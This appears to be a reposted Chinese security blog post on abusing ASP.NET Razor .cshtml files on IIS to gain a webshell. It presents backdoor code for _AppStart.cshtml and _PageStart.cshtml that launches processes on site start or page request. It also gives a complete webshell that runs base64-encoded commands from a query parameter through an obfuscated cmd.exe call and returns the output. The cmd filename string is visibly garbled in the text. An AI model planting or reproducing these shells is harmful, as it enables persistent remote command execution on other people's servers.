.NET漏洞利用场景之解析cshtml - 董川民
2022-9-27 01:50:29 Author: www.dongchuanmin.com(查看原文) 阅读量:68 收藏

0x01 背景

起因.NET安全矩阵微信群里的某位师傅遇到aspx文件不执行的情况,老版本的IIS里可以上传ascx/ashx/asmx等扩展名,到了IIS后续更新的版本不再支持直接对ascx的解析访问,但.NET 3.5以后版本的WebForm 和.NET MVC3版本之后的运行环境里除了能解析aspx之外还能解析cshtml文件名,所以借助师傅这件事感觉有必要打造一个cshtml专版shell,在特殊场景下上传cshtml文件获取webshell。.

.NET漏洞利用场景之解析cshtml

0x02 基础介绍

到了.NET MVC 3.0时代,微软MVC框架为忠实的粉丝们提供了两种共存的视图引擎,WebForm Engine(.aspx)和 Razor Engine(.cshtml),默认情况下框架从现有 .NET Page页面、Master母版页 和ascx用户控件类型中继承的自定义类型作为视图,引擎的变化直接导致语法发生变化,aspx 中经常使用 <% %>这种代码样例,如果写这段代码的人没有良好的缩进和对齐习惯的话,一段逻辑较为复杂的代码就会堆砌着杂乱无章的<% %>匹配它们就是一件头疼的事情,会让读者望而生畏。而在cshtml中则改为@{ } 这种更为简洁的写法,"@"来标记一段C#代码,并帮我们进行了内部的闭合,并且支持与HTML混写,这种代码编程的风格让人感觉回到了经典的ASP时代, 它们之间的关系如下图

.NET漏洞利用场景之解析cshtml

目前只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml,@是Razor中的一个重要符号,它被定义为Razor服务器代码块的开始符号。例如视图中直接写C#代码输出日期

<p>@DateTime.Now.ToString()</p>

而且在Razor视图引擎中我们还可以使用@{code}来定义一段代码块,由于Razor支持代码混写,在代码块中插入HTML、在HTML中插入Razor语句都是可以的,代码如下

@{ var myMessage = "dotnet安全矩阵"; }<html><body>    <p>欢迎关注: @myMessage</p></body></html>

.NET漏洞利用场景之解析cshtml

0x03 特殊文件

3.1 站点全局文件

某些场景下可能希望在站点上的任何页面运行之前运行一些代码,有点类似于全局静态变量的意思,.NET MVC3之后的Razor视图引擎提供了一个特殊文件_AppStart.cshtml可以达成此操作,如果此文件存在它会在站点中的任何页面第一次被请求时运行,功能上与 Global.asax 文件里的 Application_Start方法雷同,差别在于Global.asax里的Start先执行然后才到_AppStart,下图显示了_AppStart.cshtml文件的工作流程

.NET漏洞利用场景之解析cshtml

有两点注意事项需要重点强调一下,第1点_AppStart.cshtml文件必须位于站点根目录下才能起到预期作用;第2点 写在_AppStart.cshtml代码一定要确保无误,否则网站将无法正常运行。介绍完基本使用的场景后跟随笔者利用好整个特性打造一款定制的后门,由于启动的顺序早于WebPage,所以获取不到HttpContext上下文,因此也就不能通过外部传入参数交互命令执行,笔者硬编码calc,启动网站就会弹出计算器,代码如下

@{    string txt = "calc";    System.Diagnostics.Process p = new System.Diagnostics.Process();    p.StartInfo.FileName = "[email protected]@[email protected]@e".Replace("@", "");    p.StartInfo.Arguments = "/c " + txt;    p.StartInfo.UseShellExecute = false;    p.StartInfo.RedirectStandardOutput = true;    p.StartInfo.RedirectStandardError = true;    p.Start();}

3.2 视图全局文件

_PageStart.cshtml用法和_AppStart.cshtml类似,它在某个子目录下任何页面运行之前运行代码,有点类似php文件里头部嵌入的include file,下图显示了_PageStart.cshtml页面的工作流程。当一个页面的请求进入时.NET 检查是否存在_PageStart.cshtml页面,如果有则运行该页面。

.NET漏洞利用场景之解析cshtml

可以将_PageStart.cshtml文件放在站点的根目录和任何子文件夹中,当请求页面时,最靠近站点根目录的 _PageStart.cshtml 文件先运行,然后再运行子文件夹中的 _PageStart.cshtml 文件,依此类推,例如笔者在Content子目录里创建_PageStart.cshtml,写入启动记事本进程代码以及创建一个ViewPage1.cshtml,访问 /Content/ViewPage1.cshtml时优先触发_PageStart.cshtml里的代码执行。

@using System.Diagnostics@{    Process.Start("notepad");}

_PageStart.cshtml和_AppStart.cshtml有一点不同,可正常获取Request对象,因此可访问 /Content/ViewPage1.cshtml?content=dGFza2xpc3Q= 返回正常结果

0x04 Webshell

cshtml视图引擎获取外部参数的方式主要有3种,第一种使用传统WebForm窗体的System.Web.HttpContext对象Request方法获取

System.Web.HttpContext.Current.Request["content"]

第二种使用System.Web.Mvc.WebViewPage类的属性HttpContextBase获取

@Context.Request["content"]

第三种还可以直接使用WebPageRenderingBase类定义的虚方法Request获取

Request["content"]

实现Webshell的代码不多,只是在@{}代码块里加上启动进程的功能即可,值传递的方式依旧采用base64编码,访问/ViewPage1.cshtml?content=dGFza2xpc3Q= 即可返回tasklist执行后的结果数据,demo如下

@{    if (Request["content"] != null)    {        String content = System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(System.Web.HttpContext.Current.Request["content"]));        System.Diagnostics.Process p = new System.Diagnostics.Process();        p.StartInfo.FileName = "[email protected]@[email protected]@e".Replace("@", "");        p.StartInfo.Arguments = "/c " + content;        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.Start();        byte[] data = System.Text.Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());        Response.Write("<pre>" + System.Text.Encoding.Default.GetString(data) + "</pre>");    }}

.NET漏洞利用场景之解析cshtml

0x05 结语

.NET MVC下还有很多有趣的技巧,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。


文章来源: https://www.dongchuanmin.com/net/3652.html
如有侵权请联系:admin#unsafe.sh